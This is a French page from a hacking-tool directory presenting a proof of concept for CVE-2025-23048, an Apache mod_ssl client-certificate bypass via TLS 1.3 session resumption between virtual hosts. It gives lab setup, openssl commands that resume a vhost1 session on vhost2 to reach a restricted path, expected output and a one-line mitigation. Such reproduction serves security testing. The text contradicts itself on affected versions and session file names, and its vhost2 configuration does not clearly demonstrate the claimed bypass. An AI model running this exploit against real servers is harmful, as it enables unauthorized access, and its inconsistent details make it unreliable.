Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-23048-POC — Les versions 2.4.35 à 2.4.63 du serveur Apache HTTP sont vulnérables à un contournement de l'authentification par certificat client lorsque la reprise de session TLS 1.3 est utilisée entre des hôtes virtuels dotés de directives `SSLCACertificateFile` différentes. | Kitploit
Outils/GitHubGitHub/absholi7ly/cve-2025-23048-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionAuthentification
GitHubabsholi7ly/cve-2025-23048-poc

CVE-2025-23048-POC

Les versions 2.4.35 à 2.4.63 du serveur Apache HTTP sont vulnérables à un contournement de l'authentification par certificat client lorsque la reprise de session TLS 1.3 est utilisée entre des hôtes virtuels dotés de directives `SSLCACertificateFile` différentes.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
4il y a 10 moisPas encore vérifié

CVE-2025-23048 : Contournement de l'authentification par certificat client lors de la reprise de session TLS 1.3 dans Apache mod_ssl

Les versions 2.4.35 à 2.4.62 du serveur Apache HTTP sont vulnérables à un contournement de l'authentification par certificat client lorsque la reprise de session TLS 1.3 est utilisée sur plusieurs hôtes virtuels avec des directives SSLCACertificateFile différentes.

Un attaquant disposant d'un certificat client valide pour un hôte virtuel peut reprendre une session TLS 1.3 sur un autre hôte virtuel qui exige un certificat émis par une autorité de certification distincte — obtenant ainsi un accès non autorisé à des ressources protégées.


Environnement testé

  • Apache HTTP Server : 2.4.57 (Win64)
  • Système d'exploitation : Windows 10 (64-bit)

Configuration du serveur

1. Installer Apache 2.4.57 (Win64)

root@kitploit:~
# Télécharger depuis : https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip
# Extraire vers C:\Apache24

2. Activer les modules requis dans conf\httpd.conf

root@kitploit:~
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. Configurer le cache de sessions SSL

root@kitploit:~
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. Créer le répertoire SSL et générer les certificats

root@kitploit:~
cd C:\Apache24\conf
mkdir ssl
cd ssl

# Certificat serveur (auto-signé)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 et certificat client pour vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 pour vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Nettoyage
del client_ca1.csr *.srl

5. Configurer les hôtes virtuels (conf\extra\httpd-vhosts.conf)

root@kitploit:~
<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. Créer le contenu protégé

root@kitploit:~
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. Démarrer Apache

root@kitploit:~
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

Preuve de concept

Étape 1 : Poignée de main complète avec vhost1 → Enregistrer la session

root@kitploit:~
openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

Saisie après connexion :

root@kitploit:~
GET / HTTP/1.1
Host: vhost1.example.com

Apache

Sortie attendue (tronquée) :

root@kitploit:~
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

Le ticket de session est enregistré dans session_shared.pem.


Étape 2 : Reprendre la session sur vhost2 → Accéder au chemin protégé

root@kitploit:~
openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

Saisie :

root@kitploit:~
GET /restricted/ HTTP/1.1
Host: vhost2.example.com

Sortie attendue (critique) :

root@kitploit:~
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Apache

Le certificat client de CA1 a été accepté sur vhost2 (qui ne fait confiance qu'à CA2)
Aucune ré-authentification n'a eu lieu — la reprise de session a contourné le contrôle de la CA


Atténuation

root@kitploit:~
SSLStrictSNIVHostCheck on

dans tous les hôtes virtuels TLS 1.3 exigeant des CA clientes distinctes.

Désactive la reprise de session inter-SNI — empêche le contournement.


Télécharger l’outil